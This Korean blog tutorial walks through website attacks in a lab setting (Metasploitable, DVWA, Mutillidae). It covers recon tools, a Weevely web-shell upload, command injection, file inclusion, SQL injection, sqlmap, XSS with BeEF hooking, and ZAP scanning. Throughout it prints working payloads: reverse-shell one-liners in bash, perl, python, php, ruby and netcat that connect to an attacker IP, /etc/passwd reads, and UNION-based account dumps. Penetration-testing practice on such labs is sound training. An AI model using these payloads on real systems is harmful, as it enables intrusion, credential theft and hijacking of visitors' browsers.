웹사이트 해킹하기

안수균·2024년 8월 31일
0

Kali Linux & Hacking

목록 보기
19/19
post-thumbnail

웹사이트 정보 수집

웹사이트를 해킹하는 데 있어 정보 수집은 중요하다. 해커가 효과적으로 목표를 설정하고 전략을 수립하는 데 필수적이기 때문이다.

정보 수집을 하는 데에 많은 정보를 제공하는 웹 사이트 세가지를 소개하겠다.

Whois Lookup

https://whois.domaintools.com/

  • 소유자 정보: 웹사이트의 소유자, 연락처 정보, 등록 기관 등을 확인할 수 있어, 특정 공격 대상에 대한 정보를 수집할 수 있다.

  • 등록 기간: 도메인의 등록 기간을 확인함으로써, 소유자가 사이트를 얼마나 오래 운영했는지를 파악할 수 있다. 이는 공격의 우선순위를 정하는 데 도움이 될 수 있다.

  • IP 주소: 도메인에 연결된 IP 주소를 확인할 수 있어, 서버의 위치나 보안 수준을 평가할 수 있다.

  • 변경 기록: 도메인 등록 정보의 변경 이력을 통해 소유자가 사이트에 대해 얼마나 자주 변화를 주는지를 알 수 있다.

  • 전략적 접근: 소유자 및 관리자의 정보는 사회 공학적 공격이나 피싱 시도와 같은 전략적 접근을 가능하게 한다.

Netcreaft Site Report

https://sitereport.netcraft.com/

  • 기술 스택 분석: 웹사이트에서 사용되는 서버, 운영 체제, 프로그래밍 언어 및 프레임워크 등의 정보를 제공하여 취약점을 파악하는 데 도움을 준다.

  • 호스팅 정보: 웹사이트가 호스팅되는 서버의 위치 및 서비스 제공업체 정보를 확인할 수 있어, 공격 전략을 세우는 데 유용하다.

  • 사이트 연혁: 웹사이트의 변경 이력 및 과거 기술 스택 변화를 통해, 소유자의 기술적 결정 및 보안 수준을 이해할 수 있다.

  • SSL 인증서 정보: SSL 인증서의 유효성 및 발급자를 확인하여 보안 상태를 평가할 수 있다.

  • 신뢰성 평가: 웹사이트의 신뢰성 및 안정성을 판단하여 공격의 필요성을 평가하는 데 도움이 된다.

Robtex DNS lookup

https://www.robtex.com/

  • DNS 정보: 도메인에 대한 DNS 레코드를 확인하여, IP 주소, 네임서버 및 기타 관련 정보를 파악할 수 있다.

  • IP 주소 연관성: 해당 도메인과 연결된 다른 도메인이나 IP 주소를 확인하여, 공격 대상의 네트워크 구조를 이해하는 데 도움이 된다.

  • 위치 정보: IP 주소의 위치를 추적하여, 서버의 지리적 위치와 관련된 정보를 얻을 수 있다.

  • 히스토리 기록: 도메인 및 IP 주소의 변경 이력을 확인하여, 과거의 취약점이나 보안 문제를 파악할 수 있다.

  • 연관 도메인 탐색: 공격자가 목표로 하는 도메인과 관련된 다른 도메인을 찾음으로써, 추가적인 공격 기회를 모색할 수 있다.

동일 서버에 있는 웹사이트 찾기

1. PING 명령어 사용:
먼저, 커맨드 프롬프트(Windows)나 터미널(Mac/Linux)을 열고, ping 도메인주소를 입력한다.
예를 들어, ping example.com이라고 입력하면, 해당 도메인에 대한 IP 주소가 반환된다.

2. Bing 검색:
브라우저를 열고 Bing 검색 엔진에 접속한다.
검색창에 ip:192.0.2.1 (여기서 192.0.2.1은 확인한 IP 주소)라고 입력한다.
이 검색을 통해 해당 IP 주소와 연결된 모든 웹사이트를 찾을 수 있다.

3. 검색 결과 분석:
Bing의 검색 결과에서 동일한 서버에 호스팅된 다른 도메인들을 확인한다. 이 정보를 통해 공격 대상을 추가로 파악할 수 있다.

이 과정은 웹사이트의 호스팅 환경을 이해하고, 추가적인 공격 기회를 모색하는 데 유용하다.

서브 도메인 찾기

blog.example.com에서 blog가 서브도메인이다. 이 경우, example.com이 기본 도메인이다.

서브 도메인을 찾는 것은 민감한 데이터를 발견할 수 있으며, 관리자 또는 웹사이트 회원이 특정 기능에 액세스하는 데 사용하는 페이지와 같은 관리 페이지를 발견할 수 있다.

서브 도메인을 찾기 위한 칼리 머신에 유용한 도구가 있다.

knockpy

knockpy --help

명령어를 알기 위한 help 명령어를 사용하면 knockpy에 대한 여러 명령어 사용법을 볼 수 있다.

이중에 몇 가지 유용한 옵션이 있으며, --recon과 --brute force가 있다.

--recon은 공개적으로 사용 가능한 DNS 레코드와 데이터베이스를 사용하여 하위 도메인을 수동적으로 검색하도록 knockpy에 지시한다. 결과적으로 대상 도메인에 직접 요청을 하지 않으므로 속도가 빠르다.그러나 잠재적인 하위 도메인을 모두 확보하지 못할 수도 있다.

--bruteforce는 워드리스트(사전 파일)을 사용하며 워드리스트의 크기나 시도하려는 하위 도메인 목록에 따라 시간이 훨씬 더 오래걸릴 수 있다. 그리고 대상 도메인에 직접 요청을 한다.

위와 같이 입력하면

구글에 관한 555개 이상의 서브 도메인을 볼 수 있다.

디렉토리 스캐닝 (dirb)

웹서버에 대한 디렉토리 및 파일들을 스캔하기 위해서 dirb라는 도구를 사용해볼 것이다.
dirb는 특정 웹사이트의 디렉토리 구조를 탐색하고, 존재하는 경로를 확인하여 보안 취약점을 찾는 데 도움을 준다.

dirb 명령어 매뉴얼

man dirb

디랙토리 스캔

테스트할 웹사이트를 metasploit에 내장 되어있는 자체 웹서버를 대상으로 해볼 것이다.

dirb [웹사이트 주소]

이는 기본 소규모 사전 파일을 이용하는 방식이며, 사진에서 보다시피 /user/share/dirb/wordlists/common.txt에 저장된 파일이다.

만약 활용하고 싶은 사전파일이 따로 있다면 사전 파일의 전체 경로를 웹사이트 주소 뒤에 넣으면 된다. (예: dirb http://172.30.1.34/multillidae/ /root/wordlist.txt)

이렇게 알아낸 경로를 바탕으로 접근해서 민감한 정보를 알아낼 수 있다.

업로드 취약점 발견 및 해킹

대상 컴퓨터가 특정 언어를 이해할 수 있다면 그 특정 언어로 만들어진 파일이나 셸을 업로드해서 대상 컴퓨터(서버)를 해킹할 수 있다.

우리는 메타스플로잇에 내장되어있는 웹서버의 dvwa 웹사이트를 대상으로 PHP 셸을 생성할 것이고 셸을 생성하기 위해 Weevely 도구를 이용할 것이다.

브라우저 주소창에 메타스플로잇IP/dvwa에 접속하면 로그인 화면이 나오는데, username은 admin, password는 password로 하면 로그인이 된다.

우선 DVWA Security 에 들어가서 스크립트 보안을 low로 submit 한다. 왜냐하면 모의해킹으로 보안 취약점을 테스트 하는 용도로 사용할 것이기 때문에 보안을 낮추기 위함이다.

해당 웹사이트에 취약점이 있는 업로드 기능으로 시스템에 침투해볼 것이다.

weevely generate 12345 /root/shell.php

먼저 터미널에 위와 같이 입력하면 셸이 생성 되는데, 해당 명령어의 의미는 셸에 접근할 비밀번호를 12345로 지정하고, shell.php 이라는 셸 파일을 루트 경로에 저장하겠다는 의미다.

해당 셸을 업로드하고 브라우저 주소 창에 메타스플로잇IP/dvwa/hackable/uploads/shell.php 에 접속하면 빈 화면이 나오는데, 404 페이지가 나오는 게 아니므로 정상적으로 업로드가 된 것이다.

weevely 메타스플로잇IP/dvwa/hackable/uploads/shell.php 12345

이후 위 명령어를 입력하면 이제 해당 웹서버(메타스플로잇 머신)에 액세스할 수 있게 된다.

이외에도 help를 입력해보면 weevely 로 할 수 있는 여러가지 기능을 활용할 수 있다.

코드 실행 취약점 및 해킹

Command Execution 은 아이피를 입력해서 핑 테스트를 할 수 있는 기능을 제공한다.
하지만 여기서 취약점은 해당 입력창이 실제로 리눅스 운영체제에서 핑 명령어를 실행한다는 것이다.

그래서 핑 명령어 말고도 다른 명령어를 실행할 수 있는 방법이 존재한다. 왜냐하면 리눅스 터미널에서는 여러 명령어를 한줄에 실행하려면 세미콜론으로 구분하면 되기 때문이다.

예를들어 ls; pwd 이렇게 입력하면 ls 명령어와 pwd 명령어 두개의 결과가 같이 나온다.

이제 이러한 취약점을 이용해 TCP 소켓을 통해 웹사이트 IP와 포트로 연결한 후, 쉘을 열어 원격에서 명령어를 실행을 해볼 것이다.

BASH
bash -i >& /dev/tcp/IP 주소/포트 번호 0>&1

PERL
perl -e 'use Socket;$i="IP 주소";$p=포트 번호;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP 주소",포트 번호));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP
php -r '$sock=fsockopen("IP 주소",포트 번호);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby
ruby -rsocket -e'f=TCPSocket.open("IP 주소 ",포트 번호).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat
nc -e /bin/sh [IP 주소] [포트 번호]

각 언어별로 작업을 수행할 수 있으며 웹서버와의 환경이나 작업에 최적화된 언어를 선택하면 된다.

여기서는 Netcat을 이용해 볼 것이다.

nc -vv -l -p 8080

위 명령어는 TCP 포트 8080에서 수신 대기(listen)하는 명령어다. 칼리 머신의 터미널에 입력하면 된다.

-vv: verbose 모드로, 더 많은 정보를 출력한다.
-l: 리스닝 모드로, 클라이언트의 연결을 기다린다.
-p 8080: 포트 8080에서 수신 대기한다.

칼리머신IP; nc -e /bin/sh 칼리머신IP 8080

dvwa 사이트의 핑 실행기에 위와 같은 명령어를 입력하면 이제 칼리 머신에서 해당 웹서버에 액세스할 수 있게 된다.

로컬 파일 삽입 취약점

File Inclusion에 들어가보면 URL에 include.php가 있는 것을 볼 수 있다.
실제로 include.php가 있는지 확인해보기 위해 172.30.1.34/dvwa/vulnerabilities/fi/include.php 이렇게 접속해본다.

include.php가 실행되진 않았지만 include.php가 존재한다는 것을 알았다. 그렇다면 서버에 저장되어있는 파일을 읽을 수도 있을 가능성이 있다.

/var/www/dvwa/vulnerabilities/fi/include.php 라는 힌트를 통해 사용자 계정 정보를 저장하는 파일인 /etc/passwd 를 읽어보도록 하자

http://172.30.1.34/dvwa/vulnerabilities/fi/?page=/../../../../../etc/passwd

위와 같이 접속을 해보면

/etc/passwd 파일의 내용이 출력된 것을 볼 수 있다.

원격 파일 삽입 취약점 및 해킹

원격 파일 삽입 취약점을 이용하기 위해 웹서버의 원격 파일 삽입을 활성화 시킬 것이다.

sudo nano /etc/php5/cgi/php.ini

php 설정파일로 들어가서 밑줄 친 두가지 함수를 On으로 바꾸고 저장한다. (Ctrl + W 해서 allow_url을 검색하면 쉽게 찾을 수 있다)

sudo /etc/init.d/apache2 restart

적용하려면 웹서버를 재시작해야 한다.

<?php
passthru("nc -e /bin/sh 칼리머신IP 8080");
?>

위 php 코드를 메모장에 적어서 /var/www/html에 reverse.txt 파일로 저장한다.

이후 브라우저 주소창에 위 사진처럼 적고 접속하면 이제 메타스플로잇 시스템에 액세스할 수 있게 된다.

SQL Inejction

SQL 인젝션(SQL Injection)은 웹 애플리케이션의 보안 취약점을 이용하여 악의적인 사용자가 SQL 쿼리를 조작하는 공격 기법을 말한다.

http://메타스플로잇IP.com/mutillidae/ 에 접속해서 실습을 할 것이지만, 기본적으로 해당 사이트의 데이터베이스가 엉뚱한 곳에 연결되어 있어, 데이터베이스를 바꿔줄 것이다.

메타스플로잇에 아래 명령어를 입력한다.

cd /var/www/mutillidae
sudo nano config.inc

위와 같이 dbname을 owasp10으로 수정한다.

이후 칼리머신에서 http://메타스플로잇IP.com/mutillidae/ 에 들어가서 Login/Register으로 들어간다.

이후 Pleade register here 을 클릭해서 회원가입한다. 필자는 username을 kim으로, password를 12345로, signature를 Hello로 했다.

그러고 나서 회원가입을 한 것을 기반으로 로그인을 할 수 있지만, SQL Injection을 이용해서 로그인을 우회해볼 것이다.

POST에서 SQL Injection

패스워드에 123456' or 1=1# 을 입력하면 로그인이 우회가 된다. 이는 SQL로 적용될 때 아래와 같기 때문이다.

SELECT * FROM accounts WHERE username = 'kim' and password='123456' or 1=1#'

or 논리연산자에다가 1=1은 무조건 참이기 때문에 로그인을 우회할 수 있는 것이다.
#은 SQL 에서 뒷부분을 주석처리하는 기호이다.

Name을 kim' # 으로 입력해도 로그인을 우회할 수 있다. 이 때 패스워드는 아무렇게나 입력하든 안하든 상관없이 우회가 된다. 이는 SQL로 적용될 때 아래와 같기 때문이다.

SELECT * FROM accounts WHERE username = 'kim' #'

가장 마지막에 #이 있기 때문에 패스워드가 있든 없든 상관없이 주석처리되기 때문에 로그인을 우회할 수 있는 것이다.

GET에서 SQL Injection

위 사진과 같이 User Info에 들어간다.

계정의 유저네임과 패스워드를 입력하면 계정 정보를 출력해주는 기능이다.

그런데 이는 GET 메소드를 이용하기 때문에 URL에 반영된다.

이 취약점을 이용해서 SQL Injection을 해볼 것이다.

데이터베이스 정보 출력하기

mutillidae/index.php?page=user-info.php&username=kim' union select 1,database(),user(),version(), 5%23&password=12345&user-info-php-submit-button=View+Account+Details

URL을 위와 같이 바꾸면 아래와 같이 데이터베이스 정보가 출력된다.

URL을 분석해보자.

kim 뒤에 있는 작은 따옴표는 SQL문에서 문자열을 구분할 때 사용되는 따옴표 중에서 마지막 따옴표이다. 이로서 하나의 SELECT 쿼리가 끝마친 상태이다.

union은 두 개 이상의 SELECT 쿼리의 결과를 결합할 때 사용되는 연산자이다.

database() 함수는 데이터베이스 이름을 알려주고, user()함수는 데이터베이스에 액세스 하는 계정 정보를, version()은 DBMS 버전을 알려준다.

%23은 주석을 의미하는 #을 뜻한다. URL에서는 인코딩이 돼야하기 때문에 #은 %23으로 바꿔야한다.

select 뒤 양 끝에 1과 5가 있는 이유는 테이블의 열이 5개이기 때문이다.

출력되는 값은 username, password, myssignature 이지만 cid와 is_admin은 출력되는 값이 아니다. 그래서 자리를 맞춰줘서 정상적으로 출력되기 위해 의미없는 숫자 1과 5를 끼워넣은 것이다.

전체 테이블 불러오기

mutillidae/index.php?page=user-info.php&username=kim' union select 1,table_name,null,null, 5 from information_schema.tables %23&password=12345&user-info-php-submit-button=View+Account+Details

information_schema는 데이터베이스에 대한 메타데이터이다. 이를 이용해 237개의 전체 테이블을 불러올 수 있다.

특정 DB 테이블 불러오기

mutillidae/index.php?page=user-info.php&username=kim' union select 1,table_name,null,null, 5 from information_schema.tables where table_schema = 'owasp10' %23&password=12345&user-info-php-submit-button=View+Account+Details

10owasp 는 아까 설정했듯, mutilldae 사이트에서 사용되는 DB이다. where로 지정해서 해당 DB에 있는 모든 테이블들을 출력할 수 있다.

테이블 열 불러오기

mutillidae/index.php?page=user-info.php&username=kim' union select 1,column_name,null,null,5 from information_schema.columns where table_name='accounts' %23&password=12345&user-info-php-submit-button=View+Account+Details

테이블 내용 불러오기

mutillidae/index.php?page=user-info.php&username=kim' union select 1,username,password,is_admin,5 from accounts %23&password=12345&user-info-php-submit-button=View+Account+Details

서버에 파일 읽고 쓰기

mutillidae/index.php?page=user-info.php&username=kim' union select null,load_file('/etc/passwd'),null,null,null %23&password=12345&user-info-php-submit-button=View+Account+Details

/etc/passwd 파일은 해당 컴퓨터에 저장된 모든 계정 정보를 불러온다.
load_file 함수를 이용하면 웹 서버에서 원하는 파일 어떤 것이든 읽어들일 수 있다.


mutillidae/index.php?page=user-info.php&username=kim' union select null,'example example',null,null,null into outfile '/tmp/example.txt' %23&password=12345&user-info-php-submit-button=View+Account+Details

outfile 함수를 사용하면 웹서버에 파일쓰기를 할 수도 있다.

SQLmap

SQLmap은 SQL 인젝션 취약점을 자동으로 탐지하고 이용할 수 있게 해주는 오픈 소스 도구이다. 이 도구는 다양한 데이터베이스 시스템을 지원하며, 보안 테스트 및 취약점 분석에 유용하다.

SQLmap은 SQL 인젝션을 자동으로 탐지하고, 공격 경로를 분석하여 데이터를 추출할 수 있도록 도와주며, MySQL, PostgreSQL, Oracle, Microsoft SQL Server 등 여러 데이터베이스 시스템을 지원한다.

sqlmap -u "http://메타스플로잇IP/mutillidae/index.php?page=user-info.php&username=admin&password=aaa&user-info-php-submit-button=View+Account+Details"

칼리 머신 터미널에 위 명령어를 입력한다. URL을 보면 알겠지만 유저네임은 admin이고 패스워드는 모른다는 생각으로 aaa으로 한다.

명령어를 입력하고 나면 자동으로 매개변수를 하나하나 살펴봐서 사용자 정보와 사용자 이름, 패스워드를 보고 주입 가능한 게 있는지 파악한다.

sqlmap --help

위 명령어로 더 많은 옵션들을 살펴볼 수 있다.

그 중에 짧게 몇가지 옵션을 소개해보겠다.

--dbs: 웹서버가 갖고 있는 데이터베이스를 전부 출력한다.
--current-user: 현재 데이터베이스에 액세스 하는 계정을 출력한다.
--current-db: 현재 데이터베이스 이름을 출력한다.
--tables -D owasp10: owasp10 데이터베이스에 있는 테이블 목록을 출력한다.
--columns -T accounts -D owasp10: owasp10 데이터베이스에 있는 accounts 테이블 속성을 출력한다.
-T accounts -D owasp10 --dump: owasp10 데이터베이스에 있는 accounts 테이블 내용을 출력한다.

XSS(Cross-Site Scripting)

XSS(Cross-Site Scripting)는 웹 애플리케이션의 취약점을 이용하여 악성 스크립트를 사용자의 브라우저에서 실행하도록 하는 공격 기법이다. 주로 사용자 입력을 검증하지 않거나 잘못된 방식으로 처리할 때 발생하며, 공격자는 이를 통해 세션 하이재킹, 피싱, 사용자 데이터 유출 등의 악성 행위를 수행할 수 있다.

XSS에는 세가지 유형이 있다.

  1. 저장형 XSS (Stored XSS):
    설명: 악성 스크립트가 서버에 저장되고, 다른 사용자가 해당 스크립트를 포함한 데이터를 요청할 때 실행된다.
    예시: 게시판이나 댓글 시스템에 악성 스크립트를 삽입하여, 다른 사용자가 해당 게시물이나 댓글을 조회할 때 스크립트가 실행되는 경우.

  2. 반사형 XSS (Reflected XSS):
    설명: 악성 스크립트가 URL이나 요청 파라미터에 포함되어 서버에서 즉시 반사되어 실행되는 경우다. 일반적으로 악성 링크를 클릭하여 발생한다.
    예시: 공격자가 URL에 악성 스크립트를 포함시키고, 사용자가 해당 URL을 클릭하면 스크립트가 실행되는 경우.

  3. DOM 기반 XSS (DOM-based XSS):
    설명: 클라이언트 측에서 DOM(Document Object Model)을 조작하여 악성 스크립트가 실행된다. 서버의 응답이 아닌 클라이언트 측의 코드 실행으로 인해 발생한다.
    예시: JavaScript가 URL 파라미터를 사용하여 DOM을 수정할 때, 이 과정에서 악성 스크립트가 포함되어 실행되는 경우.

반사형 XSS (Reflected XSS)

http://메타스플로잇IP/dvwa 에 접속해서 XSS reflected로 들어간다.
입력칸에 원하는 이름을 쓰고 Submit을 하면 위 사진과 같이 빨간 글씨로 Hello 이름이 뜬다.

여기에는 반사형 XSS을 할 수 있는 취약점이 존재한다.

<script>alert('XSS')</script>

입력칸에 자바스크립트 코드를 작성하면 위와 같이 그대로 작동되는 걸 볼 수 있다.

그런데 해당 자바스크립트 코드는 URL에도 반영되어있는데, 그렇다는 얘기는 URL에도 자바스크립트 코드를 작성할 수 있다는 의미이다.

192.168.135.130/dvwa/vulnerabilities/xss_r/?name=<script>alert('XSS')</scirpt>#

이렇게 URL을 작성해서 접속해도 방금 입력칸에 넣었던 자바스크립트 코드와 같이 똑같은 결과가 나온다.

이를 바탕으로 특정 사용자에게 URL을 전달해서 해당 사용자에게 자바스크립트 코드를 작동시키게끔 할 수 있다.

저장형 XSS (Stored XSS)

XSS stored에 들어가면 위와 같은 입력칸이 있다.

Name에 원하는 이름과 Message에 원하는 말을 쓰고 Sign Guestbook 버튼을 클릭하면 아래 목록에 반영이 된다.

이는 실제로 DB에 저장된다. 이를 이용해서 저장형 XSS를 통해 자바스크립트 코드를 주입해볼 것이다.

위 사진처럼 입력하고 등록하면

위 알림이 발생하게 된다. 그런데 아까 말했듯, 이는 DB에 저장되는 것이기 때문에 자바스크립트 코드 또한 그대로 저장되어 다시 페이지를 접속해도 알림이 발생하게 된다.

이는 결국 나 뿐만 아니라 다른 사용자도 해당 페이지에 접속하면 자바스크립트 코드가 작동 된다는 의미다.

이를 통해 BeEF를 사용해서 브라우저 후킹을 해볼 것이다.

BeEF 를 실행한 후, 위 사진 빨간줄에 있는 자바스크립트 코드를 복사한다.

IP 부분을 칼리머신의 IP로 교체한다. 그러나 입력필드의 길이 제한으로 바뀌어지지 않을 것이다.

이럴 때 해당 입력칸 오른쪽 마우스 클릭 > Inspect (Q)를 클릭 한 후,

maxlength의 값을 적당량 만큼 숫자를 준다.

이제 정상적으로 작성이 될 수 있는 것을 볼 수 있다.

등록을 하면 이제 해당 페이지에 접속하는 모든 사용자가 브라우저 후킹을 당하게 된다.

가장 처음으로 접속한 컴퓨터는 칼리머신이므로 바로 후킹당한 것을 볼 수 있다.

이제 알림 보내기, 자바스크립트 코드 주입, 스크린샷, 리다이렉트, 가짜 로그인 창으로 암호 탈취, 가짜 업데이트 창 띄우기 등 여러가지 공격을 가할 수 있게 된다.

웹사이트 자동으로 취약점 스캔하기 (ZAP)

ZAP을 실행하게 되면 검색할 때 현재 세션을 저장할 것이지 묻는 창이 나오는데, No를 선택한다.

하단 +버튼을 눌러 Active Scan을 추가한다.

Scan Policy Manager 버튼을 클릭한다.


Default Policy를 선택 후, Modify를 누르면 수정 가능한 애스펙트들이 나온다.


가령 Injection 탭에 들어가면 XSS, Sql Injection 등 모든 인젝션 스캔을 확인할 수 있다.

Threshold를 High로 바꾸면 어려운 상황에서도 취약점을 찾기 위해 최대한으로 스캔할 수 있다.

Policy Manager 창을 닫고 이제 mutillidae 사이트를 대상으로 Attack을 눌러 자동으로 스캔해보자.

왼쪽 메뉴를 보면 스파이더가 파일을 검색한 결과를 볼 수 있다.

왼쪽 하단을 보면 발견한 모든 취약점이 존재한다. 이는 심각도 순으로 정렬되어 있다.

취약점을 열어보면 익스플로잇이 가능한 모든 URL이 표시된다.

항목을 열어보면 취약점을 찾기위한 HTTP 요청을 확인할 수 있고 도구가 취약점을 판단한 이유에 관한 응답을 볼 수 있다.

Description을 보면 취약점이 무엇이고 어떻게 익스플로잇이 됐는지 볼 수 있다.

위에는 위험도가 표시되어있고 /etc/passwd를 확보하려는 공격이 실행 됐다.

해당 항목을 오른쪽 마우스 클릭 > Open URL in Browser 을 클릭하면

취약점 결과가 출력이 된다.

profile
공부한 내용을 블로그에서 정리합니다.

0개의 댓글